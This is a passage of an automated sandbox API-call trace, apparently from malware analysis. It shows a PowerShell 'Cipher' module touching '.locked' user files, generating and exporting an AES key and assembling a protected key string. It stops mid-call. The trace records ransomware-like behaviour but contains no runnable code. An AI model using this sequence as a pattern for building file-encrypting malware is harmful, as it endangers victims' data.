EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.579] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.580] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.580] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.581] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.581] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.581] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.581] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.581] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.583] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.583] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.583] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.583] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.583] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.584] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69c76d8 | out: lpFileInformation=0x69c76d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1405abb2, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1405abb2, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14080eaf, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x15694)) returned 1 [0135.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.586] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", lpFilePart=0x0) returned 0x72 [0135.586] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.586] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.586] CloseHandle (hObject=0x858) returned 1 [0135.587] GetConsoleOutputCP () returned 0x1b5 [0135.588] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.588] GetConsoleOutputCP () returned 0x1b5 [0135.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.589] GetConsoleOutputCP () returned 0x1b5 [0135.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.589] GetConsoleOutputCP () returned 0x1b5 [0135.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.589] GetConsoleOutputCP () returned 0x1b5 [0135.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.591] GetConsoleOutputCP () returned 0x1b5 [0135.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.591] GetConsoleOutputCP () returned 0x1b5 [0135.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.591] GetConsoleOutputCP () returned 0x1b5 [0135.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.591] GetConsoleOutputCP () returned 0x1b5 [0135.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.592] GetConsoleOutputCP () returned 0x1b5 [0135.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.592] GetConsoleOutputCP () returned 0x1b5 [0135.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.592] GetConsoleOutputCP () returned 0x1b5 [0135.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.593] GetConsoleOutputCP () returned 0x1b5 [0135.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.593] GetConsoleOutputCP () returned 0x1b5 [0135.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.593] GetConsoleOutputCP () returned 0x1b5 [0135.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.594] GetConsoleOutputCP () returned 0x1b5 [0135.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.594] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.594] GetConsoleOutputCP () returned 0x1b5 [0135.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.594] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.595] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69ef2d8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69ef2d8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.595] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.595] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.599] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.599] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.599] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.599] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.599] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.599] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.599] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.600] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.600] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.600] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.600] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e028b0) returned 1 [0135.601] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84978) returned 1 [0135.601] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.601] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.601] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69f8c70, pdwDataLen=0x99ae894 | out: pbData=0x69f8c70*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.601] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x8c00\x69f\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0135.601] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.601] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.601] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.601] SysStringLen (param_1="") returned 0x8 [0135.601] SysStringLen (param_1="Y") returned 0x8 [0135.601] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.602] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.602] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="YT") returned 0x8 [0135.602] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="鯈⸶꼽❷砰䯬Ꮔ") returned 0x8 [0135.602] SysStringLen (param_1="鯈⸶꼽❷砰䯬Ꮔ") returned 0x8 [0135.602] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="YTG") returned 0x8 [0135.602] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="\xc139\xddf2\x8996\x2d6f\x281d\x999b\xc3af\x759f") returned 0x8 [0135.602] SysStringLen (param_1="\xc139\xddf2\x8996\x2d6f\x281d\x999b\xc3af\x759f") returned 0x8 [0135.602] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="YTGf") returned 0x8 [0135.602] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.602] SysStringLen (param_1="\x96a9\x970\x9dca\x5a41\x96f\xd1fc\x11de\x9e1f") returned 0x8 [0135.602] SysStringLen (param_1="\x96a9\x970\x9dca\x5a41\x96f\xd1fc\x11de\x9e1f") returned 0x8 [0135.602] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="YTGfL") returned 0x8 [0135.603] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="\x7b8b\x68db\xce0c\xd6cc\xd6ee\x7da3\x8a9\x2ca4") returned 0x8 [0135.603] SysStringLen (param_1="\x7b8b\x68db\xce0c\xd6cc\xd6ee\x7da3\x8a9\x2ca4") returned 0x8 [0135.603] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="YTGfLr") returned 0x8 [0135.603] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="\xdc9e\x43d0\x499f\xdce0\x786c\xaa10\xbc4c\x7066") returned 0x8 [0135.603] SysStringLen (param_1="\xdc9e\x43d0\x499f\xdce0\x786c\xaa10\xbc4c\x7066") returned 0x8 [0135.603] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="YTGfLrg") returned 0x8 [0135.603] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="\x8deb\xe7b\x841a\xc3e3\x31cd\xa731\xc8e4\x49c2") returned 0x8 [0135.603] SysStringLen (param_1="\x8deb\xe7b\x841a\xc3e3\x31cd\xa731\xc8e4\x49c2") returned 0x8 [0135.603] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="YTGfLrgP") returned 0x8 [0135.603] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.603] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6") returned 0x8 [0135.603] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6") returned 0x8 [0135.603] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6") returned 0x8 [0135.603] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6") returned 0x10 [0135.603] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.603] SysStringLen (param_1="YTGfLrgP7娱◻䂒ᬒ晿⪈縕") returned 0x10 [0135.603] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.604] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x3bd4\x386c\x8e4c\x7d08\x36ac\x645e\x80ec\xcb56") returned 0x10 [0135.604] SysStringLen 